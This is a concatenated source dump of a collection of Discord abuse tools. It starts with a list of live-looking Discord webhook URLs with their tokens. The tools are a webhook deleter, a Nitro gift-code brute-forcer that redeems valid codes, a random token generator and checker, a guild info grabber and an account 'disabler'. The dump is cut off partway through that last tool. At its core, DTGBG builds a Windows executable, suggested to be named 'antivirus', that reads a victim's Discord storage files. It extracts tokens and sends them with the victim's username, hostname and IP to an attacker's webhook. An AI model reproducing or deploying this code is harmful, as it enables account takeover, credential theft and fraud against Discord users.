https://discord.com/api/webhooks/844168291337502730/E2IW6s-yJC4unQe8F2RFvvb2iWXuVvZ2SXvuBg4DQi-TzLxIW7FXDuoL8U3mTj-9wwuq 156 | https://discord.com/api/webhooks/844899217977770055/lRWqvJ0irWf91dWo4L-OOzmvAxIGAeJ6yAN5GxmSEcn2-nS1OqyR1IoBN9BqiVqjsETX 157 | https://discord.com/api/webhooks/845027284087341067/85RSwJ3yPGmmznzTD96AwRI2zGCEh7a9lGyc5t2C5PYP3vQWXk8Rt9w4WqAOvVMtjSBH 158 | https://discord.com/api/webhooks/845031037838688297/N8cjHEwfhoYV-kWgSCA8L5vpMP8C32RsuPz29rTawAx7qtXqzlTV5DNuD7cKYPSSkWbw 159 | https://discord.com/api/webhooks/845477864358805524/9FX6WmEyyucGl85reXJpTup-kEsYmgTn9m6JA8F3bz_jKHz_LuXuGR8uPG9UKsh8t1hY 160 | https://discord.com/api/webhooks/845835891012665375/QwywhCwG6D5FM3yNaqIXLl65-0-eaAwMIgk3ekdeU1U7kgZNh6vF-XtK1Ov8_YOeOumA 161 | https://discord.com/api/webhooks/846397568668925992/RLJAoYtjZMl_8vDM-9xqqV5-UKqItCDG2bXTNbKq7B5uaxk9VAZxpgg8Ow0cyYHrF3zi 162 | https://discord.com/api/webhooks/846951370505715802/YrnzAm0oxux4ni67xEffHRwH_8-NykoUR4qauFhqvleoTm-zFp1uwN_Wk81tG6f37Y1h 163 | https://discord.com/api/webhooks/847173091943514133/l05gMi_DVB84oiynCAkvS9dKbEA_5uPETd7XJCiLKMziN9f7tAqpm9c_MY9DDCMWTPKZ 164 | https://discord.com/api/webhooks/848217612642156584/1Dn39pWW6p54PYm343ymr_fsyw6j_1VN0agCGqRjJOnPhXkhAetCwEHTdrXITR0GFSVf 165 | https://discord.com/api/webhooks/850645761233911808/MaHtKiwRFC0fIxp3Gg22YN4WC1GLre7PtPQtPTv1qA1ylOWSrpHtrLZBRuCy0IZsW0Kw 166 | https://discord.com/api/webhooks/851560393851797576/0VuBN-gsinDAhsOCrZQ1B2Tf4AsNeWOdsGj7-Q5mo1DVODZQq4IbdJgm1ZZiOKA3zMzz 167 | https://discord.com/api/webhooks/852090387685965844/382KdsrzVeJfeKOEQnjlz7G_JUoakyol481EOsyHIJXsYJW-MwrLS1h8UR7arvkKPXyv 168 | https://discord.com/api/webhooks/852100289585741854/hmitffpvLjZjUzv78HQ6gBpz7nLmKgi05YVdTNoEsKJO8ST0Ggl4n-odPvz88Qybb16P 169 | https://discord.com/api/webhooks/852109345298972703/4HuTTDozFJnGQvkpKipWBA7Gbb8mrmaY0EXKJQwItc6Q3XH8CSjQOaGJy21-gUZ6MfrG 170 | https://discord.com/api/webhooks/852252235882168340/ol0OX8s3TxJZXUorqXmk5sagh7J6TOGMuxN1817w0-w00dSVNrJ9BcKa2UVnwVjZBQ00 171 | https://discord.com/api/webhooks/852649883587837972/yRL-5_w2wWwqvT2nNsQiUAXgU638rsdhez2zMGE4tukhCQ_-SlOcVUCXZ0T4QLRVms57 172 | https://discord.com/api/webhooks/852736492773310535/4wzXoEaA6Vsokq5ii-itF8W5F6ZScSmRqJO873ZW35BXk7yEjDBQozq89uR0W6LzlpbU 173 | https://discord.com/api/webhooks/853157960833302558/B0BHAycH7Z3QZpsrDQ8TmtvoHuzCoIvQba9lf3_C5z-CGYxmiWbSOoVDrWLjgu9fw-Pz 174 | https://discord.com/api/webhooks/853344403631112234/aXycRYDHd9fznO7kf7wnM__2-a9TMSFkWzLM076sBTpg8dDvAU4p64Ie3MweqbR3XXTx 175 | https://discord.com/api/webhooks/854679756108726292/yzKo2roZg0_FLaePdUGEYBVMo9SB9ywVhL5OyQ2ZJT7k7UpyY9mE5lsH6ViH0PCIVWtd 176 | https://discord.com/api/webhooks/855061918830034964/zZh_P2hIJmLKjLBkIt_MZ4oPNyGS4dESrf9rypTWUUinV5YDx9xSXxMe6UsL0_bVR4k1 177 | https://discord.com/api/webhooks/855180500770619423/zWOAgqgnpBBAntGc9UsAMT1_PvtvGZCN97kKZW0liOAk-FgfOJqieiP90O5nxxSEHuIr 178 | https://discord.com/api/webhooks/855662910705762305/n2AluRCt6Ax7OKR_zVXgb6w9SGvyXRoWefPfxKOW9pf9JiWqAcd17hZB9DvOE0tYZDQf 179 | https://discord.com/api/webhooks/856733337996755004/OnOYKYXA4KXvusFQF7CE3GMaLR5PA_zaXJDL1XAu3dUj2ahXIqdjmfssn4sQbD1TjWcC 180 | https://discord.com/api/webhooks/857040128816054323/uUDLBeh59H6qDCBhVWJWf6A0UOYbhk0d4tmkvbJ3SktHsMG2vRHj0muUWO4NzRFWqHlF 181 | https://discord.com/api/webhooks/858377257931898880/k1Sv7Rl5uB39aK4q9D7Ocg7WybZuPbiYPg5WQUfHtsszTR3EX8KvbQToi0cBDy_jFxb4 182 | https://discord.com/api/webhooks/859527612371697664/fbB-Ib0LgKrkAB0KIVliugo3qzaVwE-8d3ncyAWHEv8mWjLCqMamskjFMP5TZzdKvyW7 183 | https://discord.com/api/webhooks/861258011787657226/zZG4z92P5JfIFNHKqjZNL8L7UkX9JEq_rEmo2XPBJd4nJHBEKwLK1K6xPAzvVQBdFR64 184 | https://discord.com/api/webhooks/861742762713677825/doRAfkNt_pgEHCU4Y7CEI4e78LGtW9EioM5PrUpmQzB3UGQCgFl89xef3raSiuLMaFrO 185 | https://discord.com/api/webhooks/862869562902577202/S2Z1F97zZjH555io2ZMVotn-kuQ539yYMhdfLAPX2wKvoC6XDaLwZ37b-5Ak7raT6rIz 186 | https://discord.com/api/webhooks/863284593163632670/2ceDje0PYJ0RfxMwLHCDQEAtgRW4lACw7x3DHPR2QlpOWLaJTtyf_Qsw8_Q3OZBvf4r0 187 | https://discord.com/api/webhooks/865128318003839036/QVauIiJucHWM-Xo-2AWzxXPe1QlfZh8FR7GIK49juaQJz0CYjfrKd9g_Hrbfu_-RGPwW 188 | https://discord.com/api/webhooks/866732421571674113/nnRcIl4g8kNYjJeg1S8k9bgHXdeE0th-sXMH_0uZ5X6Wxr_XtjK_vm_Y1EirMsvMgt34 189 | https://discord.com/api/webhooks/867775695924625470/TFnpwZIk2RTgO4mun3A9IJMEOzuQLxglHFdj5GUThOZ4F8jpYYpQirySIoJ71Y8F46bU 190 | https://discord.com/api/webhooks/867775695924625470/TFnpwZIk2RTgO4mun3A9IJMEOzuQLxglHFdj5GUThOZ4F8jpYYpQirySIoJ71Y8F46bU?q 191 | https://discord.com/api/webhooks/868339540832681984/9XcVobWTPv9bQEyxtqt0zSn4oj_45FtkUXFiqbvAhfI4-byFlj4VY6IRpDERqgh4l00B 192 | https://discord.com/api/webhooks/868778199084044288/QPBPzkHFJYgdddJfrBUGRYxhh32T9KPtV12GShU3e6gT86GtxyFfKPd47Y8sO4jW-cFL 193 | https://discord.com/api/webhooks/868907418439000104/IEgky4KLjh712pfLcAf7iB--y-dbcNiVDNROK-0sDLDbfNMSbT0aBeonQG9Q9pfeQm7b 194 | https://discord.com/api/webhooks/870099418999840818/DvOMr69uGB6O2wI6kDtD3NRvx9VQ0kzXDEQ5mNWMKs5YYlPowbY_-p1wpd-Q1jZz_3JP 195 | https://discord.com/api/webhooks/870830844250583130/fEJCmTnY_eEr9nMqTYxpQHndkLB28YUOnO_CXbeRoBQd_5na67ETtGwlyW-_Lq6EQQR0 196 | https://discord.com/api/webhooks/870973177973583892/J2hGURqc6FUd7QSBs6n_5skgA7R5okfWAGMF-rhZeFiHPBMGZAA5ygMw44F19awTfXfr 197 | https://discord.com/api/webhooks/871246067201638470/H3LvZtc89Pf4FeWkL_MosTpiepbivtWDqm84MUn273-YgF_NE1WyZ5uSBxFmSH7w52gk 198 | https://discord.com/api/webhooks/871936472125669426/DYIkFnr89Y-1jvawWim20o5YFUISbxMgKBdhueAHiAeAlCt8XW1LZvNzdfshnse12ld9 199 | https://discord.com/api/webhooks/872869742380199978/cc160YicYH8fkGx_AsXilJ2jnLlgZ7ab8OR1UzW9HXqxzNQ4ZI--ZgpsTj70jc98TYJ_ 200 | https://discord.com/api/webhooks/873047686176178216/UyTRuw9ERrjc40u9pPBkzOeAHGZ5tJnccP2nGYwCUqQvQY23Yz2hdBIBbIRjbfWrycBg 201 | https://discord.com/api/webhooks/873073285540241428/b1LQ6cJ6ewdAtMgzo2I5H7_7sd1aww6AQb6YbWVBFjPpt_Rg_V1AIxvC3bwt0yUNuwcy 202 | https://discord.com/api/webhooks/874281870987243551/vaXNIQp76_MrHjvJ13Icivb57c1CLIf_bPBnJEfif5RGAyrBcKrOm5txFmGqWPSsldxA 203 | https://discord.com/api/webhooks/875621635212853282/YioOnJXQPpcY8oUUe2giI-URQDwlGGx-dK3qw56Ozw7VBl8lJBi4Iqh8WX7JJseJ817W 204 | https://discord.com/api/webhooks/875718537715515402/aEi82VoYLi_-TiSMAq0OROGXslOIUJ11YGA3RQEUSZIE9SBxDNOd-zVPmr--ObIqmA6K 205 | https://discord.com/api/webhooks/875948682644701224/3hNCM2sQRlYfI-rJnO70sHwt1C0XOC6ay2LKh41FmwqT6M1W2tn_QmQUBeBU_LSAreE4 206 | https://discord.com/api/webhooks/876471539191660545/21g0Cyko2Esy4x2-6EKE27GpTOjQCQgRRv8DdX2VJeF-xkys51d2EzXPpYoRovjv9MmT 207 | https://discord.com/api/webhooks/876935865518129202/GFXWSOmihEuUtZKV7e7hKu1fngXaYrxIbEn_OYSp-w8iyTUOS07V9BrLBYMaq8MC-NKQ 208 | https://discord.com/api/webhooks/877204878278160484/i96grkS-muJAZ5kJLSS5soF1LKnf7aDVewKn3Ih_TIU7dz4IfQk0FLxuotB7FtOJa3xM 209 | https://discord.com/api/webhooks/878360531453489182/L8LDD0x5lSLJBw8qZzPtipAKnsjj387lxAhs_AZKTGKaC1sKUZ6ydkYgWkbusmTWnVmy 210 | https://discord.com/api/webhooks/879020375105765407/-1nXhk6M4F3uKBz0t74RYm6pqpVTyCwaBuOZ_il7TfSiQ6tyOGbjOE8ru8SbQ0ZxNJIj 211 | https://discord.com/api/webhooks/880605454089199636/XoN9mYZZqAtYtfrSYpmFPnWd_qdnqhw3fdL_kvvVXJbhPxm-8VZgq0gSfkViWp6ftvQO 212 | https://discord.com/api/webhooks/882250081393319937/0H1q8bKvMsDoq6-kc4U5_jjIiB-ldELhvhpn4bnQ5dPcZMGNntYvCAwLaXmPaWq-XzYo 213 | https://discord.com/api/webhooks/882341489915617302/fQMaUDxd8d1R4eAkI3rQV2WfA7YKrkd07GZPwikidlBP_WRNwCKPKA7lsmI2zKQP_kmI 214 | https://discord.com/api/webhooks/889205597302554694/iQwRKv9CG8jHJkiEcEirJd4zVzo75F4H9RmL0ZNPopGQuRVKWkccz7YLofJc-ttcW0WS 215 | https://discord.com/api/webhooks/889305040299368498/JemOwwVdnI4gvSYgbcKmQKQ5-78CwP0FbXW0dpdl7n0F_yGyAr4Q2SexRFX5BArEHYoY 216 | https://discord.com/api/webhooks/889305430319317023/E4ktGxevH_kZjCW49ZpCqQDr9gqlPo_-StnD19u7RkwTvCX1Xj96xIriCZRwmspRVP22 217 | https://discord.com/api/webhooks/891703338922557471/uLXOmcmUD-TGjUwKU6g2BAN5L8uwYdh0uS0u5eVqYWxW1mpHuZSKdvqzpjCd16o7IKSJ 218 | https://discord.com/api/webhooks/891936328525168670/uUa-KkBvXYFdO5SirRHMnbW6cJ8MEMegSo-DKHYlEWbCtimws44Q2A6mqp4VSpgHh4v5 219 | https://discord.com/api/webhooks/892598988296032266/uA68nJLpAsr-Hy45T1gn5PKgbfAcPKLBkQsUWsFVo13y48MZyUB4D2yOJQMJW0AdEqUl 220 | https://discord.com/api/webhooks/893683124100280351/jJ0Cg-MpAYsho1lLCiYV1hfJK1pKSUInUj_gTts-3v441VwabFTBDnPsUW8AIrkOG8nU 221 | https://discord.com/api/webhooks/xxx/yyy 222 | https://discord.com/api/webhooks/XXXXXXXXXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXXXXXX 223 | -------------------------------------------------------------------------------- /DMWD/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Request = require("request") 3 | const Fs = require("fs") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | //Functions 9 | function Initiate_A_Request(url){ 10 | Request.delete(url, function(err, res, body){ 11 | if(res.statusCode == 204){ 12 | console.log(`Successfully deleted ${url}`) 13 | }else{ 14 | console.log(`Failed to deleted ${url}`) 15 | } 16 | }) 17 | } 18 | 19 | //Main 20 | if(!Self_Args.length){ 21 | console.log(`node index.js 22 | Example: node index.js example_webhooks.txt`) 23 | process.exit() 24 | } 25 | 26 | if(!Self_Args[0]){ 27 | console.log("Invalid input.") 28 | process.exit() 29 | } 30 | 31 | const Data = Fs.readFileSync(Self_Args[0], "utf8").split("\n") 32 | 33 | for( i in Data ){ 34 | Initiate_A_Request(Data[i]) 35 | } 36 | -------------------------------------------------------------------------------- /DNGCAAC/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord DNGCAAC 2 | Blazing fast Discord nitro generator, checker & auto claim. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i random-useragent && npm i discordnitro && npm i request 8 | 9 | ## Usage 10 | ``` 11 | node index.js 12 | ``` 13 | 14 | + checking_speed - The Discord nitro generating & checking speed which is in milliseconds. 15 | + discord_nitro - Your Discord token that will be used to claim valid Nitro's. 16 | 17 | ## License 18 | MIT © I2rys 19 | -------------------------------------------------------------------------------- /DNGCAAC/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Random_UserAgent = require("random-useragent") 3 | const Discord_Nitro = require("discordnitro") 4 | const Request = require("request") 5 | 6 | //Variables 7 | const Self_Args = process.argv.slice(2) 8 | 9 | //Main 10 | if(!Self_Args.length){ 11 | console.log("node index.js ") 12 | process.exit() 13 | } 14 | 15 | if(!Self_Args[0]){ 16 | console.log("Invalid checking_speed.") 17 | process.exit() 18 | } 19 | 20 | if(isNaN(Self_Args[0])){ 21 | console.log("checking_speed is not an Int.") 22 | process.exit() 23 | } 24 | 25 | if(!Self_Args[1]){ 26 | console.log("Invalid discord_token.") 27 | process.exit() 28 | } 29 | 30 | setInterval(function(){ 31 | const code = Discord_Nitro(1)[0] 32 | 33 | Request(`https://discordapp.com/api/v9/entitlements/gift-codes/${code}?with_application=false&with_subscription_plan=true`, { 34 | headers: { 35 | "User-Agent": Random_UserAgent.getRandom() 36 | } 37 | }, function(err, res, body){ 38 | if(err){ 39 | console.log(`Invalid nitro code: ${code}`) 40 | return 41 | } 42 | 43 | try{ 44 | if(res.statusCode == 200){ 45 | console.log(`Valid nitro code: ${code}`) 46 | 47 | Request(`https://discordapp.com/api/v6/entitlements/gift-codes/${code}/redeem`, { 48 | headers: { 49 | "Authorization": Self_Args[1] 50 | } 51 | }, function(err, res, body){ 52 | if(err){ 53 | console.log(Chalk.red(`Unable to redeem nitro ${code}`)) 54 | return 55 | } 56 | 57 | if(body.indexOf("redeemed already") != -1){ 58 | console.log(Chalk.red(`Nitro code ${code} is already redeemed.`)) 59 | }else if(body.indexOf("nitro") != -1){ 60 | console.log(Chalk.greenBright(`Nitro code ${code} claimed.`)) 61 | }else{ 62 | console.log(Chalk.red(`Unknown nitro code ${code}`)) 63 | } 64 | }) 65 | }else{ 66 | console.log(`Invalid nitro code: ${code}`) 67 | } 68 | }catch{ 69 | console.log(`Invalid nitro code: ${code}`) 70 | } 71 | }) 72 | }, Self_Args[0]) 73 | -------------------------------------------------------------------------------- /DSIG/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord DSIG 2 | Discord server information grabber. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i axios 8 | 9 | ## Usage 10 | 11 | node index.js 12 | 13 | - discord_token - Your discord token. 14 | - guild_id - The id of the server to get information. 15 | 16 | ## License 17 | MIT © I2rys 18 | -------------------------------------------------------------------------------- /DSIG/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Axios = require("axios") 3 | 4 | //Variables 5 | const Self_Args = process.argv.slice(2) 6 | 7 | //Main 8 | if(!Self_Args.length){ 9 | console.log("node index.js ") 10 | process.exit() 11 | } 12 | 13 | if(!Self_Args[1]){ 14 | console.log("Invalid guild_id.") 15 | process.exit() 16 | } 17 | 18 | if(isNaN(Self_Args[1])){ 19 | console.log("guild_id is not a number.") 20 | process.exit() 21 | } 22 | 23 | void async function Main(){ 24 | try{ 25 | console.log("Grabbing the server information, please wait.") 26 | var guild = await Axios({ 27 | method: "GET", 28 | url: `https://discord.com/api/v6/guilds/${Self_Args[1]}`, 29 | headers: { 30 | authorization: Self_Args[0] 31 | } 32 | }) 33 | 34 | guild = guild.data 35 | 36 | console.log(` 37 | Server icon: https://cdn.discordapp.com/icons/${guild.id}/${guild.icon}.png 38 | Server splash: ${guild.splash} 39 | Server discovery splash: ${guild.discovery_splash} 40 | Server id: ${guild.id} 41 | Server name: ${guild.name} 42 | Server description: ${guild.description} 43 | Server vanity: ${guild.vanity_url_code} 44 | Server owner id: ${guild.owner_id} 45 | Server verification level: ${guild.verification_level} 46 | Server emojis amount: ${guild.emojis.length} 47 | Server stickers amount: ${guild.stickers.length} 48 | Server roles amount: ${guild.roles.length} 49 | 50 | Finished!`) 51 | }catch{ 52 | console.log("Invalid discord_token/guild_id.") 53 | process.exit() 54 | } 55 | }() 56 | -------------------------------------------------------------------------------- /DT G&C/README.md: -------------------------------------------------------------------------------- 1 | 2 | # ODiscord Discord token generator & checker 3 | A simple but fast Discord token generator & checker that checks 2 types of tokens. 1. The non mfa, 2. The mfa 4 | 5 | ## Installation 6 | NPM Packages: 7 | 8 | npm i randomstring && npm i request && npm i delay && npm i console-title && npm i chalk 9 | 10 | ## Usage 11 | 12 | node index.js 13 | 14 | - output - The output path on where to save the valid tokens automatically. 15 | 16 | ## License 17 | MIT © I2rys 18 | -------------------------------------------------------------------------------- /DT G&C/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const RandomString = require("randomstring") 3 | const Request = require("request") 4 | const Delay = require("delay") 5 | const Chalk = require("chalk") 6 | const setTitle = require("console-title") 7 | const Fs = require("fs") 8 | 9 | //Variables 10 | const Self_Args = process.argv.slice(2) 11 | 12 | //Main 13 | if(Self_Args.length == 0){ 14 | console.log(`node index.js 15 | Example: node index.js output_test.txt`) 16 | process.exit() 17 | } 18 | 19 | if(Self_Args[0] == ""){ 20 | console.log("Invalid output.") 21 | process.exit() 22 | } 23 | 24 | Fs.writeFileSync(Self_Args[0], "", "utf8") 25 | setTitle(`Discord Token Generator & Checker | DT G&C | Dev: I2rys | Menu Dev: cutieQue | Assistant Dev: cutieQue`); 26 | console.clear() 27 | console.log(Chalk.yellowBright(` 28 | 29 | ██████╗░██╗░██████╗░█████╗░░█████╗░██████╗░██████╗░  ████████╗░█████╗░██╗░░██╗███████╗███╗░░██╗ 30 | ██╔══██╗██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗  ╚══██╔══╝██╔══██╗██║░██╔╝██╔════╝████╗░██║ 31 | ██║░░██║██║╚█████╗░██║░░╚═╝██║░░██║██████╔╝██║░░██║  ░░░██║░░░██║░░██║█████═╝░█████╗░░██╔██╗██║ 32 | ██║░░██║██║░╚═══██╗██║░░██╗██║░░██║██╔══██╗██║░░██║  ░░░██║░░░██║░░██║██╔═██╗░██╔══╝░░██║╚████║ 33 | ██████╔╝██║██████╔╝╚█████╔╝╚█████╔╝██║░░██║██████╔╝  ░░░██║░░░╚█████╔╝██║░╚██╗███████╗██║░╚███║ 34 | ╚═════╝░╚═╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░╚═╝╚═════╝░  ░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝╚══════╝╚═╝░░╚══╝ 35 | 36 | ░██████╗░███████╗███╗░░██╗  ░█████╗░███╗░░██╗██████╗░  ░█████╗░██╗░░██╗███████╗░█████╗░██╗░░██╗ 37 | ██╔════╝░██╔════╝████╗░██║  ██╔══██╗████╗░██║██╔══██╗  ██╔══██╗██║░░██║██╔════╝██╔══██╗██║░██╔╝ 38 | ██║░░██╗░█████╗░░██╔██╗██║  ███████║██╔██╗██║██║░░██║  ██║░░╚═╝███████║█████╗░░██║░░╚═╝█████═╝░ 39 | ██║░░╚██╗██╔══╝░░██║╚████║  ██╔══██║██║╚████║██║░░██║  ██║░░██╗██╔══██║██╔══╝░░██║░░██╗██╔═██╗░ 40 | ╚██████╔╝███████╗██║░╚███║  ██║░░██║██║░╚███║██████╔╝  ╚█████╔╝██║░░██║███████╗╚█████╔╝██║░╚██╗ 41 | ░╚═════╝░╚══════╝╚═╝░░╚══╝  ╚═╝░░╚═╝╚═╝░░╚══╝╚═════╝░  ░╚════╝░╚═╝░░╚═╝╚══════╝░╚════╝░╚═╝░░╚═╝ 42 | - Dev : I2rys 43 | - Menu Dev : cutieQue 44 | 45 | `)) 46 | console.log(Chalk.blueBright(`DT G&C Started!`)) 47 | console.log("") 48 | 49 | G_A_C() 50 | async function G_A_C(){ 51 | await Delay(10) 52 | 53 | var mfa_token = RandomString.generate({ 54 | length: 84, 55 | charset: "-abcdefghijklmnopq_rstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789" 56 | }) 57 | 58 | mfa_token = `mfa.${mfa_token}` 59 | 60 | var not_mfa_token = RandomString.generate({ 61 | length: 24, 62 | charset: "ODgyODkxNjE4NDczMDkxMDgy" 63 | }) 64 | 65 | const not_mfa_token_half = RandomString.generate({ 66 | length: 6, 67 | charset: "YUW2-g" 68 | }) 69 | 70 | const not_mfa_token_half2 = RandomString.generate({ 71 | length: 27, 72 | charset: "duZXhSN1RwE06PFEHRQkehmNdpw" 73 | }) 74 | 75 | not_mfa_token = `${not_mfa_token}.${not_mfa_token_half}.${not_mfa_token_half2}` 76 | 77 | Request.get("https://discord.com/api/v6/auth/login", { 78 | headers: { 79 | "Authorization": mfa_token 80 | } 81 | }, function(err, res, body){ 82 | if(err){} 83 | 84 | if(res.statusCode == 200){ 85 | console.log(Chalk.greenBright(`Valid token: ${mfa_token}`)) 86 | 87 | const data = Fs.readFileSync(Self_Args[0], "utf8") 88 | 89 | if(data.length == 0){ 90 | Fs.writeFileSync(Self_Args[0], mfa_token, "utf8") 91 | }else{ 92 | Fs.writeFileSync(Self_Args[0], `${data}\n${mfa_token}`, "utf8") 93 | } 94 | }else{ 95 | console.log(Chalk.redBright(`Invalid token: ${mfa_token}`)) 96 | } 97 | 98 | R_2() 99 | }) 100 | 101 | function R_2(){ 102 | Request.get("https://discord.com/api/v6/auth/login", { 103 | headers: { 104 | "Authorization": not_mfa_token 105 | } 106 | }, function(err, res, body){ 107 | if(err){} 108 | 109 | if(res.statusCode == 200){ 110 | console.log(Chalk.greenBright(`Valid token: ${not_mfa_token}`)) 111 | 112 | const data = Fs.readFileSync(Self_Args[0], "utf8") 113 | 114 | if(data.length == 0){ 115 | Fs.writeFileSync(Self_Args[0], not_mfa_token, "utf8") 116 | }else{ 117 | Fs.writeFileSync(Self_Args[0], `${data}\n${not_mfa_token}`, "utf8") 118 | } 119 | }else{ 120 | console.log(Chalk.redBright(`Invalid token: ${not_mfa_token}`)) 121 | } 122 | 123 | G_A_C() 124 | }) 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /DTGBG/README.md: -------------------------------------------------------------------------------- 1 | # ODiscord DTGBG 2 | Discord token grabber builder. 3 | 4 | ## Installation 5 | NPM Packages: 6 | 7 | npm i simple-exec && npm i public-ip && npm i discord.js && npm i os && npm i pkg -g 8 | 9 | ## Usage 10 | 11 | node index.js 12 | 13 | - webhook_link - Your webhook link on where to send the Discord tokens. 14 | - output_name - The name of the output file. 15 | - node_and_os - The nodejs version & the os, this is useful in compiling. 16 | 17 | ## License 18 | MIT © I2rys 19 | -------------------------------------------------------------------------------- /DTGBG/dist/deleteme.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /DTGBG/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Simple_Exec = require("simple-exec") 3 | const Fs = require("fs") 4 | 5 | //Variables 6 | const Self_Args = process.argv.slice(2) 7 | 8 | //Functions 9 | async function Main(){ 10 | const results = await Simple_Exec.executeSync("pkg -h") 11 | 12 | console.log("Checking for duplicate in dist.") 13 | if(!Fs.existsSync(`./dist/${Self_Args[1]}.exe`)){ 14 | console.log("Found a duplicate in dist, please try again with another name or delete the duplicate in dist.") 15 | process.exit() 16 | } 17 | 18 | if(results.error){ 19 | console.log("It looks like NPM package PLG is not installed, please install it.") 20 | process.exit() 21 | } 22 | 23 | if(results.output.indexOf("pkg [options] ") == -1){ 24 | console.log("It looks like NPM package PLG is not installed, please install it.") 25 | process.exit() 26 | } 27 | 28 | console.log("Putting the discord webhook link.") 29 | var main_data = Fs.readFileSync("./requirements/index.js", "utf8") 30 | main_data = main_data.replace("wid", Self_Args[0].split("/")[Self_Args[0].split("/").length-2]) 31 | main_data = main_data.replace("wtoken", Self_Args[0].split("/")[Self_Args[0].split("/").length-1]) 32 | 33 | console.log("Cloning for temporary.") 34 | Fs.writeFileSync("./requirements/temp_index.js", main_data, "utf8") 35 | 36 | console.log("Building, please wait...") 37 | const build_results = await Simple_Exec.executeSync(`pkg requirements/temp_index.js -t ${Self_Args[2]} -o dist/${Self_Args[1]}.exe`) 38 | 39 | if(build_results.error){ 40 | console.log("Something went wrong while building, please make sure the arguments are valid.") 41 | process.exit() 42 | }else{ 43 | console.log("Successfully built.") 44 | console.log("Removing temporary file.") 45 | 46 | Fs.unlinkSync("./requirements/temp_index.js") 47 | 48 | console.log("Finished.") 49 | process.exit() 50 | } 51 | } 52 | 53 | //Main 54 | if(!Self_Args.length){ 55 | console.log(`node index.js 56 | Example: node index.js yourwebhooklink antivirus node14-win-x64`) 57 | process.exit() 58 | } 59 | 60 | if(!Self_Args[0]){ 61 | console.log("Invalid webhook_link.") 62 | process.exit() 63 | } 64 | 65 | if(!Self_Args[1]){ 66 | console.log("Invalid output_name.") 67 | process.exit() 68 | } 69 | 70 | if(!Self_Args[2]){ 71 | console.log("Invalid node_and_os.") 72 | process.exit() 73 | } 74 | 75 | Main() 76 | -------------------------------------------------------------------------------- /DTGBG/requirements/index.js: -------------------------------------------------------------------------------- 1 | //Dependencies 2 | const Public_IP = require("public-ip") 3 | const Discord = require("discord.js") 4 | const Os = require("os") 5 | const Fs = require("fs") 6 | 7 | //Variables 8 | const Webhook = new Discord.WebhookClient("wid", "wtoken") 9 | 10 | var Self = {} 11 | Self.dt = "" 12 | 13 | //Functions 14 | async function Send(){ 15 | const IP = await Public_IP.v4() 16 | 17 | Webhook.send("```" + `OS Type: ${Os.type()} 18 | OS Platform: ${Os.platform()} 19 | OS Hostname: ${Os.hostname()} 20 | 21 | OS Username: ${Os.userInfo().username} 22 | IP: ${IP} 23 | Discord tokens found: ${Self.dt}` + "```",).then(()=>{ 24 | process.exit() 25 | }).catch(()=>{ 26 | process.exit() 27 | }) 28 | } 29 | 30 | function Main(){ 31 | Fs.readdir(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb`, "utf8", function(err, files){ 32 | if(err){ 33 | Done() 34 | return 35 | } 36 | 37 | files.forEach(file =>{ 38 | if(file.indexOf("log") != -1){ 39 | const log_data = Fs.readFileSync(`C:\\Users\\${Os.userInfo().username}\\AppData\\Roaming\\discord\\Local Storage\\leveldb\\${file}`, "utf8") 40 | const tokens = Array.from(log_data.matchAll(/[\w-]{24}\.[\w-]{6}\.[\w-]{27}|mfa\.[\w-]{84}/g)) 41 | var results = "" 42 | 43 | if(tokens.length == 0){ 44 | Self.dt = "No tokens found." 45 | Send() 46 | return 47 | } 48 | 49 | for( i = 0; i <= tokens.length-1; i++ ){ 50 | tokens[i][0] = tokens[i][0].replace('"token":"', "") 51 | tokens[i][0] = tokens[i][0].replace('"', "") 52 | 53 | if(results.indexOf(tokens[i][0]) == -1){ 54 | if(results.length == 0){ 55 | results = tokens[i][0] 56 | }else{ 57 | results += `, ${tokens[i][0]}` 58 | } 59 | } 60 | } 61 | 62 | Self.dt = results 63 | Send() 64 | return 65 | } 66 | }) 67 | }) 68 | } 69 | 70 | //Main 71 | Main() 72 | -------------------------------------------------------------------------------- /Disabler/README.md: -------------------------------------------------------------------------------- 1 | # DISCLAIMER 2 | This tool was not made to be used maliciously. It is intended to be used for educational and testing purposes only. 3 | 4 | # ODiscord Disabler 5 | Disable or unverify a Discord account using its token. 6 | 7 | ## Installation 8 | NPM Packages: 9 | 10 | npm i 11 | 12 | ## Usage 13 | ``` 14 | node index.js 15 | ``` 16 | 17 | + discord_token - Your account Discord token. 18 | 19 | ## License 20 | MIT © I2rys -------------------------------------------------------------------------------- /Disabler/index.js: -------------------------------------------------------------------------------- 1 | const fetch = require('node-fetch'); 2 | const chalk = require('chalk'); 3 | 4 | const error = chalk.bold.red; 5 | const warning = chalk.keyword('orange'); 6 | const success = chalk.keyword('green'); 7 | const info = chalk.keyword('lightblue'); 8 | const Self_Args = process.argv.slice(2); 9 | 10 | if (!Self_Args.length) { 11 | console.log(info("node index.js ")); 12 | process.exit(); 13 | } 14 | 15 | if (!/^(mfa\.[a-z0-9_-]{20,})|([a-z0-9_-]{23,28}\.[a-z0-9_-]{6,7}\.[a-z0-9_-]{27})$/i.test(Self_Args[0])) { 16 | console.log(error("You provided an invalid Discord token")); 17 | process.exit(); 18 | } 19 | 20 | fetch("https://discord.com/api/v9/users/@me", { 21 | "headers": { 22 | "accept": "*/*", 23 | "accept-language": "en-US,en;q=0.9", 24 | "authorization": Self_Args[0], 25 | "content-type": "application/json", 26 | "sec-fetch-dest": "empty", 27 | "sec-fetch-mode": "cors", 28 | "sec-fetch-site": 